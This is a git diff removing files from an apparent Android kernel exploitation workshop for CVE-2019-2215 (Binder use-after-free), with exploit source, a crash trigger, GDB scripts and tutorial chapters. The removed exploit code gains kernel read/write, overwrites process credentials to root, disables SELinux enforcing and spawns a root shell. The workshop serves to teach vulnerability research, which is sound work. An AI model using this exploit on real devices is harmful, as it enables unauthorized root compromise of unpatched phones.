- expectedPid = kReadDword(m_pidAddress);
-
- INFO("\t[*] currentPid: %d\n", currentPid);
- INFO("\t[*] expectedPid: %d\n", expectedPid);
-
- if (currentPid != expectedPid) {
- ERR("\t[-] Arbitrary read/write failed\n");
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] Arbitrary read/write successful\n");
- }
-}
-
-
-/**
- * Read from arbitrary address
- *
- * @param Address: address from where to read
- * @param Length: how much to read
- * @param uBuffer: output user buffer
- */
-void BinderUaF::kRead(void *Address, size_t Length, void *uBuffer) {
- //
- // Once the addr_limit is clobbered, it's
- // easy to gain arbitrary read primitive
- //
-
- //
- // Write the data from kernel address to the fd
- //
-
- ssize_t nBytesWritten = write(m_kernel_rw_pipe_fd[1], Address, Length);
-
- if ((size_t) nBytesWritten != Length) {
- ERR("[-] Failed to write data from kernel: %p", Address);
- exit(EXIT_FAILURE);
- }
-
- ssize_t nBytesRead = read(m_kernel_rw_pipe_fd[0], uBuffer, Length);
-
- if ((size_t) nBytesRead != Length) {
- ERR("[-] Failed to read data from kernel: %p", Address);
- exit(EXIT_FAILURE);
- }
-
-}
-
-
-/**
- * Write to arbitrary address
- *
- * @param Address: address where to write
- * @param Length: how much to write
- * @param uBuffer: input user buffer
- */
-void BinderUaF::kWrite(void *Address, size_t Length, void *uBuffer) {
- //
- // Write the data from kernel address to the fd
- //
-
- ssize_t nBytesWritten = write(m_kernel_rw_pipe_fd[1], uBuffer, Length);
-
- if ((size_t) nBytesWritten != Length) {
- ERR("[-] Failed to write data from user: %p", Address);
- exit(EXIT_FAILURE);
- }
-
- ssize_t nBytesRead = read(m_kernel_rw_pipe_fd[0], Address, Length);
-
- if ((size_t) nBytesRead != Length) {
- ERR("[-] Failed to write data to kernel: %p", Address);
- exit(EXIT_FAILURE);
- }
-
-}
-
-
-/**
- * Read qword from arbitrary address
- *
- * @param Address: address from where to read
- * @return: qword
- */
-uint64_t BinderUaF::kReadQword(void *Address) {
- uint64_t buffer = 0;
-
- kRead(Address, sizeof(buffer), &buffer);
- return buffer;
-}
-
-
-/**
- * Read dword from arbitrary address
- *
- * @param Address: address from where to read
- * @return: dword
- */
-uint32_t BinderUaF::kReadDword(void *Address) {
- uint32_t buffer = 0;
-
- kRead(Address, sizeof(buffer), &buffer);
- return buffer;
-}
-
-
-/**
- * Write dword to arbitrary address
- *
- * @param Address: address where to write
- * @param Value: value to write
- */
-void BinderUaF::kWriteDword(void *Address, uint32_t Value) {
- kWrite(Address, sizeof(Value), &Value);
-}
-
-
-/**
- * Write qword to arbitrary address
- *
- * @param Address: address where to write
- * @param Value: value to write
- */
-void BinderUaF::kWriteQword(void *Address, uint64_t Value) {
- kWrite(Address, sizeof(Value), &Value);
-}
-
-
-/**
- * Patch cred data structure
- */
-void BinderUaF::patchCred() {
- //
- // To achieve root we need to patch the cred structure
- //
- // Pointer to cred is stored in task_struct
- //
-
- //
- // To root basically we need to do this:
- //
- // commit_cred(prepare_kernel_cred(0));
- //
-
- //
- // struct cred init_cred = {
- // .usage = ATOMIC_INIT(4),
- // .uid = GLOBAL_ROOT_UID,
- // .gid = GLOBAL_ROOT_GID,
- // .suid = GLOBAL_ROOT_UID,
- // .sgid = GLOBAL_ROOT_GID,
- // .euid = GLOBAL_ROOT_UID,
- // .egid = GLOBAL_ROOT_GID,
- // .fsuid = GLOBAL_ROOT_UID,
- // .fsgid = GLOBAL_ROOT_GID,
- // .securebits = SECUREBITS_DEFAULT,
- // .cap_inheritable = CAP_EMPTY_SET,
- // .cap_permitted = CAP_FULL_SET,
- // .cap_effective = CAP_FULL_SET,
- // .cap_bset = CAP_FULL_SET,
- // .user = INIT_USER,
- // .user_ns = &init_user_ns,
- // .group_info = &init_groups,
- // };
-
- //
- // Read the address of cred from task_struct
- //
-
- INFO("[+] Patching current task cred members\n");
-
- m_cred = (struct cred *) kReadQword(m_credAddress);
-
- if (!m_cred) {
- ERR("\t[-] Failed to read cred: %p", m_credAddress);
- exit(EXIT_FAILURE);
- }
-
- INFO("\t[*] cred: %p\n", m_cred);
-
- //
- // Now patch the cred structure members
- //
-
- kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, uid)), GLOBAL_ROOT_UID);
- kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, gid)), GLOBAL_ROOT_GID);
- kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, suid)), GLOBAL_ROOT_UID);
- kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, sgid)), GLOBAL_ROOT_GID);
- kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, euid)), GLOBAL_ROOT_UID);
- kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, egid)), GLOBAL_ROOT_GID);
- kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsuid)), GLOBAL_ROOT_UID);
- kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsgid)), GLOBAL_ROOT_GID);
- kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, securebits)), SECUREBITS_DEFAULT);
- kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_inheritable)), CAP_EMPTY_SET);
- kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_permitted)), CAP_FULL_SET);
- kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_effective)), CAP_FULL_SET);
- kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_bset)), CAP_FULL_SET);
- kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_ambient)), CAP_EMPTY_SET);
-}
-
-
-/**
- * Disable selinux enforcing globally
- */
-void BinderUaF::disableSELinuxEnforcing() {
- //
- // Check if selinux enforcing is enabled
- //
-
- INFO("[+] Verifying if selinux enforcing is enabled\n");
-
- //
- // selinux_enforcing is a global variable which
- // control whether selinux is enabled or disabled
- //
- // By default selinux_enforcing is set to 0x1 which
- // means it's globally enabled
- //
-
- //
- // task_struct has a pointer to global data structure nsproxy,
- // reading that pointer will allow us to break KASLR
- //
-
- ptrdiff_t nsProxy = kReadQword(m_nsproxyAddress);
-
- if (!nsProxy) {
- ERR("\t[-] Failed to read nsproxy: %p", m_nsproxyAddress);
- exit(EXIT_FAILURE);
- }
-
- ptrdiff_t kernelBase = nsProxy - SYMBOL_OFFSET_init_nsproxy;
- auto selinuxEnforcing = (void *) (kernelBase + SYMBOL_OFFSET_selinux_enforcing);
-
- INFO("\t[*] nsproxy: 0x%lx\n", nsProxy);
- INFO("\t[*] Kernel base: 0x%lx\n", kernelBase);
- INFO("\t[*] selinux_enforcing: %p\n", selinuxEnforcing);
-
- int selinuxEnabled = kReadDword(selinuxEnforcing);
-
- if (!selinuxEnabled) {
- INFO("\t[*] selinux enforcing is disabled\n");
- return;
- }
-
- INFO("\t[*] selinux enforcing is enabled\n");
-
- //
- // Now patch selinux_enforcing
- //
-
- kWriteDword(selinuxEnforcing, 0x0);
-
- INFO("\t[*] Disabled selinux enforcing\n");
-}
-
-
-/**
- * Verify if rooting is successful
- */
-void BinderUaF::verifyRoot() {
- INFO("[+] Verifying if rooted\n");
-
- uid_t realUserId = getuid();
-
- INFO("\t[*] uid: 0x%x\n", realUserId);
-
- //
- // If the cred patching was successful,
- // we should get the uid as 0
- //
-
- if (realUserId != 0) {
- ERR("\t[-] Rooting failed\n");
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] Rooting successful\n");
- }
-}
-
-
-/**
- * Spawn root shell
- */
-void BinderUaF::spawnRootShell() {
- //
- // Spawn root shell
- //
-
- INFO("[+] Spawning root shell\n");
-
- system("/bin/sh");
-}
-
-
-/**
- * Program entry point
- *
- * @return: success or failure
- */
-int main() {
- auto *binderUaF = new BinderUaF();
-
- //
- // Bind to CPU 0
- //
-
- binderUaF->bindToCPU();
-
- //
- // Leak current task_struct
- //
-
- binderUaF->leakTaskStruct();
-
- //
- // Clobber addr_limit
- //
-
- binderUaF->clobberAddrLimit();
-
- //
- // Initialize pipe to be used for arbitrary read/write
- //
-
- binderUaF->initKernelReadWritePipe();
-
- //
- // Verify arbitrary read/write primitive
- //
-
- binderUaF->verifyArbitraryReadWrite();
-
- //
- // Patch cred structure members
- //
-
- binderUaF->patchCred();
-
- //
- // Disable selinux enforcing
- //
-
- binderUaF->disableSELinuxEnforcing();
-
- //
- // Verify if rooting successful
- //
-
- binderUaF->verifyRoot();
-
- //
- // Spawn root shell
- //
-
- binderUaF->spawnRootShell();
-
- return EXIT_SUCCESS;
-}
\ No newline at end of file
diff --git a/exploit/exploit.h b/exploit/exploit.h
deleted file mode 100644
index c27bcb5..0000000
--- a/exploit/exploit.h
+++ /dev/null
@@ -1,108 +0,0 @@
-/*++
-
- ## # # ### ### ### # ### ### ### # ###
- # # # # # # # ## # # # # ## #
- # # # ## ### ### # # # ### ### ### ### # ###
- # # # # # # # # # # # # #
- ## # ### ### ### ### ### ### ### ### ###
- @HackSysTeam
-
- CVE-2019-2215
- Android Binder Use after Free
- CloudFuzz TechnoLabs Pvt. Ltd.
-
- https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
- https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
-
- Thanks:
- @maddiestone
- @tehjh
-
---*/
-
-#pragma once
-
-#ifndef __EXPLOIT_H__
-#define __EXPLOIT_H__
-
-#include "common.h"
-
-
-/**
- * Defines
- */
-
-#define BINDER_THREAD_EXIT 0x40046208ul
-#define TASK_STRUCT_OFFSET_IN_LEAKED_DATA 0xE8
-#define IOVEC_COUNT (int) (sizeof(struct binder_thread) / sizeof(struct iovec))
-#define IOVEC_WQ_INDEX (int) (offsetof(struct binder_thread, wait) / sizeof(struct iovec))
-
-
-/**
- * Class definition
- */
-
-class BinderUaF {
-private:
- int m_epoll_fd = 0;
- int m_binder_fd = 0;
- void *m_pidAddress = nullptr;
- struct cred *m_cred = nullptr;
- void *m_credAddress = nullptr;
- void *m_nsproxyAddress = nullptr;
- int m_kernel_rw_pipe_fd[2] = {0};
- void *m_4gb_aligned_page = nullptr;
- struct task_struct *m_task_struct = nullptr;
- struct epoll_event m_epoll_event = {.events = EPOLLIN};
-
-
-public:
- BinderUaF() {
- INFO(BANNER);
- };
-
- void bindToCPU();
-
- void initKernelReadWritePipe();
-
- void setupBinder();
-
- void freeBinderThread();
-
- void setupEventPoll();
-
- void mmap4gbAlignedPage();
-
- void linkEventPollWaitQueueToBinderThreadWaitQueue();
-
- void unlinkEventPollWaitQueueFromBinderThreadWaitQueue();
-
- void leakTaskStruct();
-
- void clobberAddrLimit();
-
- void verifyArbitraryReadWrite();
-
- void patchCred();
-
- void verifyRoot();
-
- void disableSELinuxEnforcing();
-
- void spawnRootShell();
-
- void kRead(void *Address, size_t Length, void *uBuffer);
-
- void kWrite(void *Address, size_t Length, void *uBuffer);
-
- uint64_t kReadQword(void *Address);
-
- uint32_t kReadDword(void *Address);
-
- void kWriteQword(void *Address, uint64_t Value);
-
- void kWriteDword(void *Address, uint32_t Value);
-};
-
-#endif //__EXPLOIT_H__
diff --git a/exploit/trigger.cpp b/exploit/trigger.cpp
deleted file mode 100644
index ac38847..0000000
--- a/exploit/trigger.cpp
+++ /dev/null
@@ -1,41 +0,0 @@
-/*++
-
- ## # # ### ### ### # ### ### ### # ###
- # # # # # # # ## # # # # ## #
- # # # ## ### ### # # # ### ### ### ### # ###
- # # # # # # # # # # # # #
- ## # ### ### ### ### ### ### ### ### ###
- @HackSysTeam
-
- CVE-2019-2215
- Android Binder Use after Free
- CloudFuzz TechnoLabs Pvt. Ltd.
-
- https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
- https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
-
- Thanks:
- @maddiestone
- @tehjh
-
---*/
-
-#include
-#include
-#include
-#include
-
-
-#define BINDER_THREAD_EXIT 0x40046208ul
-
-
-int main() {
- int fd, epfd;
- struct epoll_event event = {.events = EPOLLIN};
-
- fd = open("/dev/binder", O_RDONLY);
- epfd = epoll_create(1000);
- epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
- ioctl(fd, BINDER_THREAD_EXIT, NULL);
-}
diff --git a/gdb/dynamic-analysis.py b/gdb/dynamic-analysis.py
deleted file mode 100644
index 82d3bef..0000000
--- a/gdb/dynamic-analysis.py
+++ /dev/null
@@ -1,180 +0,0 @@
-# -*- coding: utf-8 -*-
-#
-# ##### #######
-# # # # #### # # ##### # # # ###### ######
-# # # # # # # # # # # # # #
-# # # # # # # # # ##### # # # #
-# # # # # # # # # # # # # #
-# # # # # # # # # # # # # # #
-# ##### ###### #### #### ##### # #### ###### ######
-# @HackSysTeam
-#
-
-import gdb
-
-
-def get_current_task():
- per_cpu_offset = gdb.parse_and_eval("__per_cpu_offset[0]")
- current_task_offset = gdb.parse_and_eval("current_task").address
-
- current_task = gdb.parse_and_eval(
- "*(struct task_struct *)*(long *){0}".format(
- long(per_cpu_offset) + long(current_task_offset))
- )
- return current_task
-
-
-def get_current_proc_comm():
- current_task = get_current_task()
- return current_task["comm"].string()
-
-
-binder_thread_address = None
-
-def set_dump_binder_thread(parameters):
- global binder_thread_address
-
- binder_thread_address = parameters["thread"]
- gdb.execute("x/51gx {0}".format(binder_thread_address))
- gdb.write("\n")
-
-
-def dump_binder_thread(parameters):
- if not binder_thread_address:
- return
-
- if long(binder_thread_address) + 0xA0 == parameters["wq_head"]:
- gdb.execute("x/51gx {0}".format(binder_thread_address))
- gdb.write("\n")
-
-
-class EnterBp(gdb.Breakpoint):
- def __init__(
- self, proc_cmd, entry_symbol, param_list=[],
- exit_symbol=None, break_at_entry=False, entry_callback=None,
- break_at_exit=False, exit_callback=None, set_exit_bp = False
- ):
- super(EnterBp, self).__init__(entry_symbol)
-
- self.silent = True
- self.proc_cmd = proc_cmd
- self.function_name = entry_symbol
- self.function_params = param_list
- self.exit_symbol = exit_symbol
- self.break_at_entry = break_at_entry
- self.entry_callback = entry_callback
- self.break_at_exit = break_at_exit
- self.exit_callback = exit_callback
- self.set_exit_bp = set_exit_bp
- self.exit_bp_already_set = False
- self.parameter = {}
-
- def stop(self):
- is_right_process = False
-
- if self.proc_cmd in get_current_proc_comm():
- is_right_process = True
-
- if not is_right_process:
- return False
-
- for i, param_name in enumerate(self.function_params):
- self.parameter[param_name] = gdb.newest_frame().read_var(param_name)
-
- # build the parameter value list
- params = ""
- param_length = len(self.parameter)
-
- for i, (key, value) in enumerate(self.parameter.items()):
- tmp = "{key}={value}".format(key=key, value=value)
- params += tmp
-
- if not i == param_length - 1:
- params += ", "
-
- # print the function name and the parameters with their values
- gdb.write(
- "{function}({param})(enter)\n".format(
- function=self.function_name, param=params
- )
- )
-
- # call the entry callback
- if self.entry_callback:
- self.entry_callback(self.parameter)
-
- # set the exit breakpoint
- if self.set_exit_bp and not self.exit_bp_already_set:
- ExitBp(
- proc_cmd=self.proc_cmd, entry_symbol=self.function_name,
- exit_symbol=self.exit_symbol, params=self.parameter,
- break_at_exit=self.break_at_exit, exit_callback=self.exit_callback
- )
- self.exit_bp_already_set = True
-
- # should we break in debugger
- return self.break_at_entry
-
-
-class ExitBp(gdb.Breakpoint):
- def __init__(
- self, proc_cmd, entry_symbol, exit_symbol, params={},
- break_at_exit=False, exit_callback=None,
- ):
- super(ExitBp, self).__init__(exit_symbol)
-
- self.silent = True
- self.proc_cmd = proc_cmd
- self.entry_symbol = entry_symbol
- self.exit_symbol = exit_symbol
- self.parameter = params
- self.break_at_exit = break_at_exit
- self.exit_callback = exit_callback
-
- def stop(self):
- is_right_process = False
-
- if self.proc_cmd in get_current_proc_comm():
- is_right_process = True
-
- if not is_right_process:
- return False
-
- gdb.write(
- "{entry}_{exit}(exit)\n".format(
- entry=self.entry_symbol, exit=self.exit_symbol
- )
- )
-
- # call the entry callback
- if self.exit_callback:
- self.exit_callback(self.parameter)
-
- return self.break_at_exit
-
-
-# clear all prior breakpoints
-gdb.execute("delete")
-
-#
-# list of breakpoints
-#
-
-# before binder_thread is freed
-EnterBp(
- proc_cmd="cve-2019-2215", entry_symbol="binder_free_thread",
- param_list=["thread"], exit_symbol=None, break_at_entry=False,
- entry_callback=set_dump_binder_thread, break_at_exit=False,
- exit_callback=None, set_exit_bp=False
-)
-
-# before and after the unlink operation happens
-# entry_symbol = remove_wait_queue
-# exit_symbol = wait.c:52
-EnterBp(
- proc_cmd="cve-2019-2215", entry_symbol="remove_wait_queue",
- param_list=["wq_head", "wq_entry"], exit_symbol="wait.c:52",
- break_at_entry=False, entry_callback=dump_binder_thread,
- break_at_exit=False, exit_callback=dump_binder_thread,
- set_exit_bp=True
-)
diff --git a/gdb/root-me.py b/gdb/root-me.py
deleted file mode 100644
index fbb48da..0000000
--- a/gdb/root-me.py
+++ /dev/null
@@ -1,226 +0,0 @@
-# -*- coding: utf-8 -*-
-
-import gdb
-import struct
-
-
-#
-# https://github.com/torvalds/linux/tree/master/scripts/gdb
-#
-
-def offset_of(typeobj, field):
- element = gdb.Value(0).cast(typeobj)
- return int(str(element[field].address).split()[0], 16)
-
-
-def container_of(ptr, typeobj, member):
- return (ptr.cast(gdb.lookup_type("long")) - offset_of(typeobj, member)).cast(typeobj)
-
-
-def task_lists():
- task_ptr_type = gdb.lookup_type("struct task_struct").pointer()
- init_task = gdb.parse_and_eval("init_task").address
- t = g = init_task
-
- while True:
- while True:
- yield t
-
- t = container_of(t["thread_group"]["next"],
- task_ptr_type, "thread_group")
- if t == g:
- break
-
- t = g = container_of(g["tasks"]["next"], task_ptr_type, "tasks")
- if t == init_task:
- return
-
-
-def get_task_by_pid(pid):
- for task in task_lists():
- if int(task["pid"]) == pid:
- return task
- return None
-
-
-def read32(address):
- return struct.unpack("
-
-
-
-
-## Author
-
-**Ashfaq Ansari ([@HackSysTeam](https://twitter.com/HackSysTeam))** of **[CloudFuzz](https://cloudfuzz.io)**.
-
-
-
-
diff --git a/gitbook/SUMMARY.md b/gitbook/SUMMARY.md
deleted file mode 100644
index 1f672a3..0000000
--- a/gitbook/SUMMARY.md
+++ /dev/null
@@ -1,55 +0,0 @@
-# Summary
-
-* [Introduction](README.md)
-* [Environment Setup](chapters/environment-setup.md)
- * [Hardware Requirements](chapters/environment-setup.md#hardware-requirements)
- * [Software Requirements](chapters/environment-setup.md#software-requirements)
- * [GDB](chapters/environment-setup.md#gdb)
- * [Workshop Repository](chapters/environment-setup.md#workshop-repository)
- * [Android Studio](chapters/environment-setup.md#android-studio)
- * [Android NDK](chapters/environment-setup.md#android-ndk)
- * [Android Virtual Device](chapters/environment-setup.md#android-virtual-device)
- * [Android Kernel Source Code](chapters/environment-setup.md#android-kernel-source-code)
-* [Linux Privilege Escalation](chapters/linux-privilege-escalation.md)
- * [Light Weight Process](chapters/linux-privilege-escalation.md#light-weight-process)
- * [Process Credentials](chapters/linux-privilege-escalation.md#process-credentials)
- * [SELinux](chapters/linux-privilege-escalation.md#selinux)
- * [selinux_enforcing](chapters/linux-privilege-escalation.md#selinux-enforcing)
- * [SecComp](chapters/linux-privilege-escalation.md#seccomp)
-* [Vulnerability Discovery](chapters/vulnerability-discovery.md)
- * [Original Discovery](chapters/vulnerability-discovery.md#original-discovery)
- * [Rediscovery](chapters/vulnerability-discovery.md#rediscovery)
- * [Patch](chapters/vulnerability-discovery.md#patch)
-* [Vulnerability Trigger](chapters/vulnerability-trigger.md)
- * [Reintroduction](chapters/vulnerability-trigger.md#reintroduction)
- * [Build Kernel With KASan](chapters/vulnerability-trigger.md#build-kernel-with-kasan)
- * [Boot Kernel](chapters/vulnerability-trigger.md#boot-kernel)
- * [Crash](chapters/vulnerability-trigger.md#crash)
- * [KASan Symbolizer](chapters/vulnerability-trigger.md#kasan-symbolizer)
-* [Scripted Privilege Escalation](chapters/scripted-privilege-escalation.md)
- * [Kernel Debugging](chapters/scripted-privilege-escalation.md#kernel-debugging)
-* [Root Cause Analysis](chapters/root-cause-analysis.md)
- * [Revisiting Crash](chapters/root-cause-analysis.md#revisiting-crash)
- * [Allocation](chapters/root-cause-analysis.md#revisiting-crash-allocation)
- * [Free](chapters/root-cause-analysis.md#revisiting-crash-free)
- * [Use](chapters/root-cause-analysis.md#revisiting-crash-use)
- * [Visual Studio Code](chapters/root-cause-analysis.md#visual-studio-code)
- * [Static Analysis](chapters/root-cause-analysis.md#static-analysis)
- * [open](chapters/root-cause-analysis.md#syscall-open)
- * [epoll_create](chapters/root-cause-analysis.md#syscall-epoll-create)
- * [epoll_ctl](chapters/root-cause-analysis.md#syscall-epoll-ctl)
- * [ioctl](chapters/root-cause-analysis.md#syscall-ioctl)
- * [ep_remove](chapters/root-cause-analysis.md#syscall-ep-remove)
- * [Static Analysis Recap](chapters/root-cause-analysis.md#static-analysis-recap)
- * [Dynamic Analysis](chapters/root-cause-analysis.md#dynamic-analysis)
- * [hw.cpu.ncore](chapters/root-cause-analysis.md#hw-cpu-ncore)
- * [Build Kernel Without KASan](chapters/root-cause-analysis.md#build-kernel-without-kasan)
- * [Kernel Tracing](chapters/root-cause-analysis.md#kernel-tracing)
-* [Exploitation](chapters/exploitation.md)
- * [Primitive](chapters/exploitation.md#primitive)
- * [Corruption Target](chapters/exploitation.md#corruption-target)
- * [Leaking task_struct\*](chapters/exploitation.md#leaking-task-struct-pointer)
- * [Clobber addr_limit](chapters/exploitation.md#clobber-addr-limit)
- * [Exploit In Action](chapters/exploitation.md#exploit-in-action)
-* [GDB Macros](chapters/gdb-macros.md)
-* [Resources](chapters/resources.md)
diff --git a/gitbook/book.json b/gitbook/book.json
deleted file mode 100644
index 2b69ac1..0000000
--- a/gitbook/book.json
+++ /dev/null
@@ -1,31 +0,0 @@
-{
- "title": "Android Kernel Exploitation",
- "author": "Ashfaq Ansari (@HackSysTeam)",
- "plugins": [
- "-livereload",
- "-highlight",
- "collapsible-chapters",
- "github",
- "sharing",
- "ga",
- "prism",
- "prism-themes"
- ],
- "pluginsConfig": {
- "fontsettings": {
- "theme": "night",
- "family": "sans"
- },
- "github": {
- "url": "https://github.com/cloudfuzz/android-kernel-exploitation"
- },
- "ga": {
- "token": "UA-163782039-1"
- },
- "prism": {
- "css": [
- "prism-themes/themes/prism-atom-dark.css"
- ]
- }
- }
-}
\ No newline at end of file
diff --git a/gitbook/chapters/environment-setup.md b/gitbook/chapters/environment-setup.md
deleted file mode 100644
index 2e2f126..0000000
--- a/gitbook/chapters/environment-setup.md
+++ /dev/null
@@ -1,188 +0,0 @@
-# Environment Setup
-
-The whole analysis and exploitation will been done in a *virtual* environment for the ease of access and debugging.
-
-
-## Hardware Requirements {#hardware-requirements}
-
-* **40 GB free hard drive space**
-* **8 GB+ of RAM**
-* **Multi-core processor**
-
-
-## Software Requirements {#software-requirements}
-
-For this workshop, we will need to install the below given items in **Ubuntu 18.04 LTS** host machine. However, **Windows**, **Mac OSX** and **other OS** are also supported.
-
-* **GDB**
-* **Workshop Repository**
-* **Android Studio**
-* **Android NDK**
-* **Android Virtual Device**
-* **Android Kernel Source Code**
-
-
-## GDB {#gdb}
-
-Open a terminal window and type the below given command to verify if **GDB** is installed. We will need **GDB** compiled with **python 2.7** support.
-
-```bash
-ashfaq@hacksys:~$ gdb --version
-GNU gdb (GDB) 8.2
-Copyright (C) 2018 Free Software Foundation, Inc.
-License GPLv3+: GNU GPL version 3 or later
-This is free software: you are free to change and redistribute it.
-There is NO WARRANTY, to the extent permitted by law.
-
-ashfaq@hacksys:~$ gdb -quiet
-GEF for linux ready, type `gef' to start, `gef config' to configure
-77 commands loaded for GDB 8.2 using Python engine 2.7
-[*] 3 commands could not be loaded, run `gef missing` to know why.
-gef> py
->import sys
->print sys.version_info
->end
-sys.version_info(major=2, minor=7, micro=17, releaselevel='final', serial=0)
-gef> q
-
-ashfaq@hacksys:~$ readelf -d $(which gdb) | grep python
- 0x0000000000000001 (NEEDED) Shared library: [libpython2.7.so.1.0]
-
-ashfaq@hacksys:~$ python --version
-Python 2.7.17
-```
-
-If **GDB** is not installed in your system, please make sure to install it with **python 2.7** support.
-
-
-### Workshop Repository {#workshop-repository}
-
-Open a terminal window and type the below given command to **clone** the **workshop** repository.
-
-```bash
-ashfaq@hacksys:~$ git clone https://github.com/cloudfuzz/android-kernel-exploitation ~/workshop
-```
-
-
-### Android Studio {#android-studio}
-
-Installation instruction for **Android Studio** can be found here https://developer.android.com/studio/install
-
-Once **Android Studio** is installed, make sure to add `~/Android/Sdk/platform-tools` and `~/Android/Sdk/emulator` to your `PATH` environment variable. This will allow as to access `adb` and `emulator` command without specifying the complete path.
-
-
-### Android NDK {#android-ndk}
-
-Installation instruction for **Android NDK** can be found here https://developer.android.com/studio/projects/install-ndk
-
-
-
-
-
-
-
-
-
-
-
-
-
-> I'm currently using **Android NDK** version: **21.0.6113669**. However, the latest version of the **Android NDK** should be fine.
-
-
-### Android Virtual Device {#android-virtual-device}
-
-For this workshop, we are going to use **Android 10.0 (Q)** `Google Play Intel x86 Atom_64 System Image`.
-
-
-
-
-
-Once you have downloaded the **system image**, we will have to create a **Virtual Device**.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-You can also launch the virtual device that we created from the command line.
-
-```bash
-ashfaq@hacksys:~/workshop$ emulator -avd CVE-2019-2215
-```
-
-
-### Android Kernel Source Code {#android-kernel-source-code}
-
-**Android** is powered by **Linux** kernel. For this workshop, we are going to use `q-goldfish-android-goldfish-4.14-dev` branch of the Android kernel source repository.
-
-
-> **Note:** For more information on building custom kernels for Android visit https://source.android.com/setup/build/building-kernels
-
-
-Google suggests to use `repo` for *synchronizing* the kernel source tree. Read more about `repo` here: https://gerrit.googlesource.com/git-repo/+/refs/heads/master/README.md
-
-Once `repo` has been installed, you can now start *synchronizing* the kernel source tree. This will also download the necessary build tools.
-
-We do not want to download the repository with all the commit history and different branches. So, we will do a *shallow* clone.
-
-Currently, I'm on [`182a76ba7053af521e4c0d5fd62134f1e323191d`](https://android.googlesource.com/kernel/goldfish/+log/182a76ba7053af521e4c0d5fd62134f1e323191d) *commit id* and `repo` command does not allow us to specify a *commit id* to clone from command line. So, I have created a **custom manifest** file that we will replace after the `repo` has been initialized.
-
-```xml
-
-
-
-
-
-
-
-
-
-
-
-
-```
-
-The only change I did in this custom manifest was to specify the *commit hash* in the revision attribute instead of branch name.
-
-```diff
-6c6
-<
----
->
-```
-
-
-> **Note:** It will take around **12 GB** of disk space, so make sure you have enough *space* on the machine before running the below commands.
-
-
-```bash
-ashfaq@hacksys:~$ mkdir ~/workshop
-ashfaq@hacksys:~$ cd workshop/
-ashfaq@hacksys:~/workshop$ mkdir android-4.14-dev
-ashfaq@hacksys:~/workshop$ cd android-4.14-dev/
-ashfaq@hacksys:~/workshop/android-4.14-dev$ repo init --depth=1 -u https://android.googlesource.com/kernel/manifest -b q-goldfish-android-goldfish-4.14-dev
-ashfaq@hacksys:~/workshop/android-4.14-dev$ cp ../custom-manifest/default.xml .repo/manifests/
-ashfaq@hacksys:~/workshop/android-4.14-dev$ repo sync -c --no-tags --no-clone-bundle -j`nproc`
-```
-
-Once the source tree has been *synchronized*, we are good to proceed with the workshop.
diff --git a/gitbook/chapters/exploitation.md b/gitbook/chapters/exploitation.md
deleted file mode 100644
index df5e0ef..0000000
--- a/gitbook/chapters/exploitation.md
+++ /dev/null
@@ -1,1011 +0,0 @@
-# Exploitation
-
-In **[Root Cause Analysis](root-cause-analysis.md)** section we understood the vulnerability and why it happened.
-
-We know that there are **two** places where the use of **dangling** `binder_thread` structure chunk happens.
-
-The **first** use happen when `remove_wait_qeue` function tries to acquire the **spin lock**. However, it is not so much interesting from the point of view of exploitation.
-
-The **second** use happens in the internal function `__remove_wait_queue` where it tries to **unlink** the **poll wait queue**. This is very interesting from the point of view of exploitation as we get a primitive where we can write pointer to `binder_thread->wait.head` to `binder_thread->wait.head.next` and `binder_thread->wait.head.prev` on a **dangling** chunk.
-
-Let's revisit the `struct binder_thread` which is defined in `workshop/android-4.14-dev/goldfish/drivers/android/binder.c`.
-
-```c
-struct binder_thread {
- struct binder_proc *proc;
- struct rb_node rb_node;
- struct list_head waiting_thread_node;
- int pid;
- int looper; /* only modified by this thread */
- bool looper_need_return; /* can be written by other thread */
- struct binder_transaction *transaction_stack;
- struct list_head todo;
- bool process_todo;
- struct binder_error return_error;
- struct binder_error reply_error;
- wait_queue_head_t wait;
- struct binder_stats stats;
- atomic_t tmp_ref;
- bool is_dead;
- struct task_struct *task;
-};
-```
-
-If you look closely, you will notice that pointer to `struct task_struct` is also a member of this `binder_thread` structure.
-
-If somehow we can leak this, we will know where the `task_struct` of the current process is.
-
-
-> **Note:** Read more about `task_struct` structure and Linux **privilege escalation** in **[Linux Privilege Escalation](linux-privilege-escalation.md)** section.
-
-
-Now, let's see how we can exploit this **vulnerability**. As the **exploit mitigations** are increasing day by day, it's very important to build better **primitives**.
-
-
-## Primitive {#primitive}
-
-`task_struct` structure has an important member `addr_limit` of type `mm_segment_t`. `addr_limit` stores the highest valid **user space** address.
-
-`addr_limit` is part of `struct thread_info` or `struct thread_struct` depending on the target **architecture**. As we are now dealing with **x86_64** bit system, `addr_limit` is defined in `struct thread_struct` and it's part of `task_struct` structure.
-
-
-To understand more about `addr_limit`, let's see the prototype of `read` and `write` system call.
-
-```c
-ssize_t read(int fd, void *buf, size_t count);
-ssize_t write(int fd, const void *buf, size_t count);
-```
-
